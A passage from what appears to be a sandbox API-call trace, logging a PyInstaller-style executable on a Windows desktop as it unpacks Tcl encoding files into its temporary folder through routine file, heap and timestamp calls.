lpSystemTime=0x4f8ce0) returned 1 [0036.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.034] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.034] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.034] CloseHandle (hObject=0x10c) returned 1 [0036.034] GetLastError () returned 0x0 [0036.034] SetLastError (dwErrCode=0x0) [0036.034] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1256.enc") returned 69 [0036.034] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1256.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1256.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.034] GetLastError () returned 0x2 [0036.034] SetLastError (dwErrCode=0x2) [0036.034] GetLastError () returned 0x2 [0036.034] SetLastError (dwErrCode=0x2) [0036.034] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1256.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1256.enc", lpFilePart=0x0) returned 0x44 [0036.034] GetLastError () returned 0x2 [0036.034] SetLastError (dwErrCode=0x2) [0036.034] GetLastError () returned 0x2 [0036.035] SetLastError (dwErrCode=0x2) [0036.035] GetLastError () returned 0x2 [0036.035] SetLastError (dwErrCode=0x2) [0036.035] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1256.enc") returned 69 [0036.035] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.035] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1256.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1256.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.035] GetFileType (hFile=0x10c) returned 0x1 [0036.035] htonl (hostlong=0x43040000) returned 0x443 [0036.035] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.035] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0036.036] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.036] CloseHandle (hObject=0x10c) returned 1 [0036.037] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.037] htonl (hostlong=0x30000000) returned 0x30 [0036.037] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.037] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.037] GetFileType (hFile=0x10c) returned 0x1 [0036.037] htonl (hostlong=0x93585100) returned 0x515893 [0036.037] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x560893, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.037] htonl (hostlong=0x22020000) returned 0x222 [0036.037] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x222) returned 0x550600 [0036.037] htonl (hostlong=0x22020000) returned 0x222 [0036.037] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.037] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.037] htonl (hostlong=0x43040000) returned 0x443 [0036.037] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x55e278 [0036.037] htonl (hostlong=0x22020000) returned 0x222 [0036.037] htonl (hostlong=0x43040000) returned 0x443 [0036.037] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.037] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.037] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.037] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.037] CloseHandle (hObject=0x10c) returned 1 [0036.037] GetLastError () returned 0x0 [0036.037] SetLastError (dwErrCode=0x0) [0036.037] GetLastError () returned 0x0 [0036.038] SetLastError (dwErrCode=0x0) [0036.038] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.038] GetFileType (hFile=0x10c) returned 0x1 [0036.038] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.038] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.038] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.038] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.038] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.038] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.038] CloseHandle (hObject=0x10c) returned 1 [0036.038] GetLastError () returned 0x0 [0036.038] SetLastError (dwErrCode=0x0) [0036.038] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.038] GetFileType (hFile=0x10c) returned 0x1 [0036.038] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.038] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.038] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.038] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.038] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.039] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.039] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.039] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.039] CloseHandle (hObject=0x10c) returned 1 [0036.039] GetLastError () returned 0x0 [0036.039] SetLastError (dwErrCode=0x0) [0036.039] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1257.enc") returned 69 [0036.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1257.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1257.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.039] GetLastError () returned 0x2 [0036.039] SetLastError (dwErrCode=0x2) [0036.039] GetLastError () returned 0x2 [0036.039] SetLastError (dwErrCode=0x2) [0036.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1257.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1257.enc", lpFilePart=0x0) returned 0x44 [0036.039] GetLastError () returned 0x2 [0036.039] SetLastError (dwErrCode=0x2) [0036.039] GetLastError () returned 0x2 [0036.039] SetLastError (dwErrCode=0x2) [0036.039] GetLastError () returned 0x2 [0036.039] SetLastError (dwErrCode=0x2) [0036.039] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1257.enc") returned 69 [0036.039] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1257.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1257.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.039] GetFileType (hFile=0x10c) returned 0x1 [0036.039] htonl (hostlong=0x43040000) returned 0x443 [0036.039] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.040] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0036.040] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.040] CloseHandle (hObject=0x10c) returned 1 [0036.041] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.041] htonl (hostlong=0x30000000) returned 0x30 [0036.041] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.041] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.041] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.041] GetFileType (hFile=0x10c) returned 0x1 [0036.041] htonl (hostlong=0xb55a5100) returned 0x515ab5 [0036.041] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x560ab5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.041] htonl (hostlong=0x1c020000) returned 0x21c [0036.041] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21c) returned 0x550600 [0036.041] htonl (hostlong=0x1c020000) returned 0x21c [0036.041] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.041] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.042] htonl (hostlong=0x43040000) returned 0x443 [0036.042] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x55e278 [0036.042] htonl (hostlong=0x1c020000) returned 0x21c [0036.042] htonl (hostlong=0x43040000) returned 0x443 [0036.042] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.042] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.042] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.042] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.042] CloseHandle (hObject=0x10c) returned 1 [0036.042] GetLastError () returned 0x0 [0036.042] SetLastError (dwErrCode=0x0) [0036.042] GetLastError () returned 0x0 [0036.042] SetLastError (dwErrCode=0x0) [0036.042] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.042] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.042] GetFileType (hFile=0x10c) returned 0x1 [0036.042] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.042] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.042] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.042] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.042] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.042] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.042] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.042] CloseHandle (hObject=0x10c) returned 1 [0036.043] GetLastError () returned 0x0 [0036.043] SetLastError (dwErrCode=0x0) [0036.043] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.043] GetFileType (hFile=0x10c) returned 0x1 [0036.043] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.043] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.043] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.043] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.043] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.043] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.043] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.043] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.043] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.043] CloseHandle (hObject=0x10c) returned 1 [0036.043] GetLastError () returned 0x0 [0036.043] SetLastError (dwErrCode=0x0) [0036.043] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1258.enc") returned 69 [0036.043] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1258.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1258.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.043] GetLastError () returned 0x2 [0036.043] SetLastError (dwErrCode=0x2) [0036.043] GetLastError () returned 0x2 [0036.043] SetLastError (dwErrCode=0x2) [0036.043] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1258.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1258.enc", lpFilePart=0x0) returned 0x44 [0036.043] GetLastError () returned 0x2 [0036.043] SetLastError (dwErrCode=0x2) [0036.043] GetLastError () returned 0x2 [0036.044] SetLastError (dwErrCode=0x2) [0036.044] GetLastError () returned 0x2 [0036.044] SetLastError (dwErrCode=0x2) [0036.044] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1258.enc") returned 69 [0036.044] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.044] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1258.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1258.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.044] GetFileType (hFile=0x10c) returned 0x1 [0036.044] htonl (hostlong=0x43040000) returned 0x443 [0036.044] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.044] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0036.047] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.047] CloseHandle (hObject=0x10c) returned 1 [0036.048] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.048] htonl (hostlong=0x30000000) returned 0x30 [0036.048] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.048] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.048] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.048] GetFileType (hFile=0x10c) returned 0x1 [0036.048] htonl (hostlong=0xd15c5100) returned 0x515cd1 [0036.048] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x560cd1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.048] htonl (hostlong=0x16020000) returned 0x216 [0036.048] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x216) returned 0x550600 [0036.048] htonl (hostlong=0x16020000) returned 0x216 [0036.048] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.048] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.048] htonl (hostlong=0x42040000) returned 0x442 [0036.048] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.048] htonl (hostlong=0x16020000) returned 0x216 [0036.048] htonl (hostlong=0x42040000) returned 0x442 [0036.048] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.048] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.048] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: 